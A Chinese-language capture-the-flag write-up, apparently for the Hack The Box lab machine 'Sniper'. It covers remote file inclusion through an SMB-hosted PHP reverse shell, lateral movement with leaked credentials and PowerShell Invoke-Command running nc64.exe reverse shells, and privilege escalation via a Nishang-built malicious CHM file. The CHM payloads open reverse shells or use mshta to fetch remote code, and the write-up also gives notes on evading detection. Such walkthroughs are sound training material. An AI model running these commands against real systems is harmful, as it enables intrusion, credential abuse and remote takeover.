[Meachines] [Medium] Sniper RFI包含远程SMB+ powershell用户横向+CHM武器化权限提升
字数 1256 2025-08-20 18:18:10

Sniper RFI漏洞利用与权限提升技术分析

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.151 --min-rate 1000 -sC -sV -Pn

发现开放端口:

  • 80/tcp: Microsoft IIS httpd 10.0
  • 135/tcp: Microsoft Windows RPC
  • 139/tcp: Microsoft Windows netbios-ssn
  • 445/tcp: microsoft-ds
  • 49667/tcp: Microsoft Windows RPC

1.2 Web目录枚举

使用Feroxbuster进行目录扫描:

feroxbuster --url http://10.10.10.151/

2. 远程文件包含(RFI)漏洞利用

2.1 验证RFI漏洞

通过修改lang参数测试文件包含:

curl 'http://10.10.10.151/blog/?lang=/windows/win.ini'

2.2 准备SMB共享

使用Impacket设置SMB共享服务器:

impacket-smbserver share /tmp/ -smb2support

2.3 PHP反向Shell

使用修改版的PHP反向Shell脚本(基于pentestmonkey的php-reverse-shell):

<?php
// 完整的PHP反向Shell代码
class Shell {
    // ... 省略类实现 ...
}

echo '<pre>';
$sh = new Shell('127.0.0.1', 9000); // 修改为攻击者IP和端口
$sh->run();
unset($sh);
echo '</pre>';
?>

2.4 触发RFI执行

通过SMB共享触发PHP反向Shell:

http://10.10.10.151/blog/?lang=\\10.10.16.9\share\shell.php

3. 横向移动

3.1 获取数据库凭据

在Web目录发现数据库凭据文件:

C:\inetpub\wwwroot\user\db.php
内容:
username: dbuser
password: 36mEAhz/B8xQ~2VM

3.2 验证凭据

使用CrackMapExec验证凭据:

crackmapexec smb 10.10.10.151 -u chris -p '36mEAhz/B8xQ~2VM'

3.3 PowerShell横向移动

使用PowerShell进行横向移动:

$user = "Sniper\Chris"
$pass = "36mEAhz/B8xQ~2VM"
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr

# 执行命令
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

# 建立反向Shell
Invoke-Command -ScriptBlock { \\10.10.16.9\share\nc64.exe -e powershell.exe 10.10.16.9 10033 } -Credential $cred -Computer localhost

4. 权限提升(CHM武器化)

4.1 准备工作

  1. 下载并安装HTML Help Workshop:

    • 下载地址:https://archive.org/details/htmlhelp
  2. 获取Nishang的Out-CHM.ps1脚本:

    • GitHub地址:https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

4.2 创建恶意CHM文件

# 设置执行策略
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

# 导入模块
Import-Module .\Out-CHM.ps1

# 创建恶意CHM文件
Out-CHM -Payload "/Docs/nc64.exe -e cmd 10.10.16.9 10034" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

4.3 替代方法:无文件落地反向Shell

使用koadic进行无文件落地攻击:

Out-CHM -Payload "powershell.exe /c mshta http://10.10.16.9:9999/MkvTv" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

4.4 执行恶意CHM

将生成的CHM文件复制到目标机器并执行:

copy \\10.10.16.9\share\nc64.exe .
copy \\10.10.16.9\share\doc.chm .

5. 关键文件位置

  • 用户flag:User.txt - bb3a48f141bbd9655f1a6b7ab5ddf738
  • 系统flag:Root.txt - 9f260cba125a007077d26b18f1a5028d

6. 技术要点总结

  1. RFI漏洞利用:通过修改lang参数实现远程文件包含,利用SMB共享执行恶意PHP代码

  2. 横向移动技术

    • 通过数据库配置文件泄露凭据
    • 使用PowerShell Credential对象和Invoke-Command执行远程命令
    • 通过SMB共享传输nc.exe建立反向Shell
  3. CHM武器化提权

    • 使用Nishang的Out-CHM.ps1创建恶意CHM文件
    • CHM文件可以执行任意命令,包括反向Shell
    • 提供无文件落地的替代方案(koadic)
  4. 规避检测

    • 使用SMB共享传输工具避免直接下载
    • 无文件落地技术减少痕迹
    • 使用合法工具(HTML Help Workshop)生成恶意文件
Sniper RFI漏洞利用与权限提升技术分析 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口: 80/tcp: Microsoft IIS httpd 10.0 135/tcp: Microsoft Windows RPC 139/tcp: Microsoft Windows netbios-ssn 445/tcp: microsoft-ds 49667/tcp: Microsoft Windows RPC 1.2 Web目录枚举 使用Feroxbuster进行目录扫描: 2. 远程文件包含(RFI)漏洞利用 2.1 验证RFI漏洞 通过修改lang参数测试文件包含: 2.2 准备SMB共享 使用Impacket设置SMB共享服务器: 2.3 PHP反向Shell 使用修改版的PHP反向Shell脚本(基于pentestmonkey的php-reverse-shell): 2.4 触发RFI执行 通过SMB共享触发PHP反向Shell: 3. 横向移动 3.1 获取数据库凭据 在Web目录发现数据库凭据文件: 3.2 验证凭据 使用CrackMapExec验证凭据: 3.3 PowerShell横向移动 使用PowerShell进行横向移动: 4. 权限提升(CHM武器化) 4.1 准备工作 下载并安装HTML Help Workshop: 下载地址:https://archive.org/details/htmlhelp 获取Nishang的Out-CHM.ps1脚本: GitHub地址:https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1 4.2 创建恶意CHM文件 4.3 替代方法:无文件落地反向Shell 使用koadic进行无文件落地攻击: 4.4 执行恶意CHM 将生成的CHM文件复制到目标机器并执行: 5. 关键文件位置 用户flag: User.txt - bb3a48f141bbd9655f1a6b7ab5ddf738 系统flag: Root.txt - 9f260cba125a007077d26b18f1a5028d 6. 技术要点总结 RFI漏洞利用 :通过修改lang参数实现远程文件包含,利用SMB共享执行恶意PHP代码 横向移动技术 : 通过数据库配置文件泄露凭据 使用PowerShell Credential对象和Invoke-Command执行远程命令 通过SMB共享传输nc.exe建立反向Shell CHM武器化提权 : 使用Nishang的Out-CHM.ps1创建恶意CHM文件 CHM文件可以执行任意命令,包括反向Shell 提供无文件落地的替代方案(koadic) 规避检测 : 使用SMB共享传输工具避免直接下载 无文件落地技术减少痕迹 使用合法工具(HTML Help Workshop)生成恶意文件